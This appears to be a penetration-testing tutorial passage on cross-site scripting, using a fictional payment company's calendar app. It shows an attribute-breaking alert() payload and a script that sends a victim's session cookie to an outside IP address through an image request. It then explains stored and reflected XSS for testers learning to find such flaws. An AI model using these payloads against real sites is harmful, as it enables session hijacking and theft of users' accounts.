Cross-Site Scripting (XSS)

In addition to SQL injection, injection attacks also include cross-site scripting. Due to the lack of input validation, cross-site scripting allows any script code to be inserted in the web application, which is then executed by the victim’s browser. Similar to the SQL injection scenario, we will look at all input fields that could be embedded in the HTML code to identify XSS vulnerabilities. These could be shopping items in a shopping cart, application settings or blog entries. Let’s run through the following scenario as an example, which does not work in the practice lab:

Administrator users can be created and administered in the appointments calendar of Dubius Payment Ltd.:

The last name of a user is output via HTML:

<input name="lname" size="30" type="text" value=“Pitts">

If we as an attacker want to embed JavaScript in the above parameter lname, we need to observe its embedding in the HTML code: the statement Pitts ends with quotation marks (“) and an angle bracket (>). In order to have a notification box pop up, for example, we can use the following string as the last name in the form above:

Pitts“><script>alert(’XSS’)</script>

For each request of this page, the following notification box would pop up, as our JavaScript has been saved and is output via HTML:

A notification box is a Proof of Concept (PoC) for us as a penetration tester, but it is too harmless in the hands of an attacker. Instead of the notification box, we may also steal the user session cookie, for which the following code snipped can be used, for example:

  <script> 
    new Image().src=“ http://10.20.1.14/ ?c="+document.cookie;  
  </script>

There are basically several types of XSS. In the above scenario, we had a so-called stored cross-site scripting vulnerability available to us, as our JavaScript code was stored on the server. If our JavaScript had not been stored by the target system and had been executed only once, we would have identified a reflected cross-site scripting vulnerability. With this type, we would still have to deliver our malicious request to a user of the web application. In one of its cheat sheets, OWASP lists several interesting techniques on how to plant JavaScript into a web application in order to exploit XSS: https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html